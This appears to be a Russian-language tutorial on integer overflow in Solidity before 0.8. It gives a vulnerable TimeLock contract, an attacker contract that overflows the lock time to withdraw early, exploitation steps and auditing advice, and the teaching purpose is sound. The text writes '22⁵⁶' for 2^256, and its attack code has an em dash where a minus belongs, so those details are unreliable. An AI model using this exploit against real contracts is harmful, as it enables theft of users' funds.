К переполнению относятся числовые вычисления, результат которых превосходит объём памяти, отведённого для хранения. В Solidity диапазон, который может представлять тип данных uint8, составляет 256 чисел от 0 до 255. Когда тип uint8 используется для вычисления 255 + 1, произойдет переполнение, поэтому результат вычислений будет равен 0, минимальному значению, которое может представлять тип uint8.

Если в контракте есть уязвимость переполнения, фактический результат вычисления может значительно отличаться от ожидаемого результата. Это повлияет на нормальную логику контракта и может привести к потере средств. Однако существуют ограничения версии для уязвимости переполнения. В версиях Solidity <0.8 переполнение не будет сообщать об ошибке, но в версиях >= 0.8 переполнение вызовет ошибку. 

Пример

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TimeLock 
{
  mapping(address => uint) public balances;
  mapping(address => uint) public lockTime;

	function deposit() external payable 
  {
		balances[msg.sender] += msg.value;
    lockTime[msg.sender] = block.timestamp + 1 weeks;
	}

  function increaseLockTime(uint _secondsToIncrease) public 
  {
    lockTime[msg.sender] += _secondsToIncrease;
  }

  function withdraw() public 
  {
    require(balances[msg.sender] > 0, "Insufficient funds");
    require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
    uint amount = balances[msg.sender];
    balances[msg.sender] = 0;
    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
  }
 }

Анализ уязвимости

Мы можем видеть, что контракт TimeLock действует как хранилище времени. Пользователи могут вносить и блокировать средства в контракте с помощью функции deposit (), которая будет заблокирована как минимум на одну неделю. Конечно, пользователь все равно может увеличить время хранения с помощью функции increaseLockTime (). Пользователь не может отозвать токены, заблокированные в контракте TimeLock, до истечения установленного срока хранения.

Рассматривая функции increaseLockTime и deposit, мы видим, что они содержат арифметические операции. Версия, поддерживаемая контрактом, является совместимой с версией 0.7.6, поэтому этот контракт не будет сообщать об ошибке при переполнении. Давайте проанализируем две функции, increaseLockTime и функцию deposit.

  1. Функция deposit состоит из двух операций. Первый из них влияет на баланс, внесенный пользователем. Передаваемые здесь параметры поддаются контролю, поэтому существует риск переполнения. Другой способ заключается в том, чтобы повлиять на время блокировки пользователя. Логика расчета здесь заключается в том, что каждый раз, когда депозит вызывается для внесения токенов, время блокировки будет добавляться на одну неделю. Поскольку параметры здесь фиксированы, при этом расчете нет риска переполнения.

  2. Функция increaseLockTime выполняет вычисления на основе параметра _secondsToIncrease, переданного пользователем, чтобы изменить время блокировки депонированных токенов пользователя. Поскольку параметр _secondsToIncrease является управляемым, существует риск переполнения.

Давайте подробнее рассмотрим параметр balances. Значительная сумма средств (22⁵⁶, если быть точным) должна быть внесена на наш счет, чтобы создать переполнение. Это приведет к переполнению остатков на нашем счете и сведению их к нулю, создавая впечатление, что там ничего нет.

Теперь давайте сосредоточимся на параметре _secondsToIncrease. Этот параметр передается, когда мы вызываем функцию increaseLockTime для увеличения времени хранения. Этот параметр может определять, когда мы вносим и блокируем средства в контракте. Он рассчитывается непосредственно с учетом времени блокировки, соответствующего учетной записи. Мы можем манипулировать параметром _secondsToIncrease, чтобы вызвать переполнение и возврат к нулю, что позволит нам вывести баланс до истечения срока действия.

Контракт атакующего

import './overflow.sol';
contract Attack 
{
	TimeLock timeLock;
  
  constructor(TimeLock _timeLock) 
  {
	  timeLock = TimeLock(_timeLock);
  }

	fallback() external payable {}

  function attack() public payable 
  {
	  timeLock.deposit{value: msg.value}();
    timeLock.increaseLockTime(type(uint).max + 1 — timeLock.lockTime(address(this)));
    timeLock.withdraw();
  }
}

Эксплуатация уязвимости

1. Сначала разверните контракт TimeLock.

2. Разверните контракт Attack и передайте адрес контракта TimeLock.

3. Вызовите функцию Attack.attack; затем она вызывает функцию TimeLock.deposit для внесения Eth в контракт TimeLock (в это время Eth будет заблокирован TimeLock на неделю). Затем он снова вызывает функцию TimeLock.increaseLockTime. Он передает максимальное значение, которое может быть представлено типом uint (22⁵⁶-1) плюс один минус время блокировки, записанное в текущем контракте временной блокировки. В это время результатом времени блокировки в функции TimeLock.increaseLockTime является значение 22⁵⁶. Поскольку число 22⁵⁶ переполняется, возвращаемое значение будет равно 0. В это время мы просто сохранили значение в контракте TimeLock, и возвращаемое время блокировки для контракта становится 0.

4. В это время Attack.attack снова вызывает блокировку времени. Функция вывода успешно пройдет блокировку. Временная метка > Время блокировки [msg.sender]. Эта проверка позволяет нам успешно удалить заранее, когда время хранения не истекло.

Алгоритм

Проверка контракта

Разработчик

Аудитор

Использовать библиотеки SafeMath для предотвращения переполнения

Проверить версию Solidity

Использовать Solidity 8.0 и выше

Если версия контракта ниже Solidity 0.8, вам необходимо проверить, ссылается ли контракт на SafeMath.

Необходимо с осторожностью использовать приведение к другому типу. Например, принудительное преобразование параметра типа uint256 в тип uint8 может привести к переполнению из-за разных диапазонов значений двух типов.

Если используется SafeMath, нам нужно обратить внимание на то, есть ли в контракте обязательное преобразование типов. Если это так, то может возникнуть риск переполнения.

 

Если SafeMath не используется и в контракте есть арифметические операции, мы можем сделать вывод, что этот контракт может иметь риск переполнения.

Ссылки

Комментарии (1)


  1. EreminD
    23.07.2022 14:15

    Только я не понял, почему везде пишете 22 в 56й степени
    Опечатка?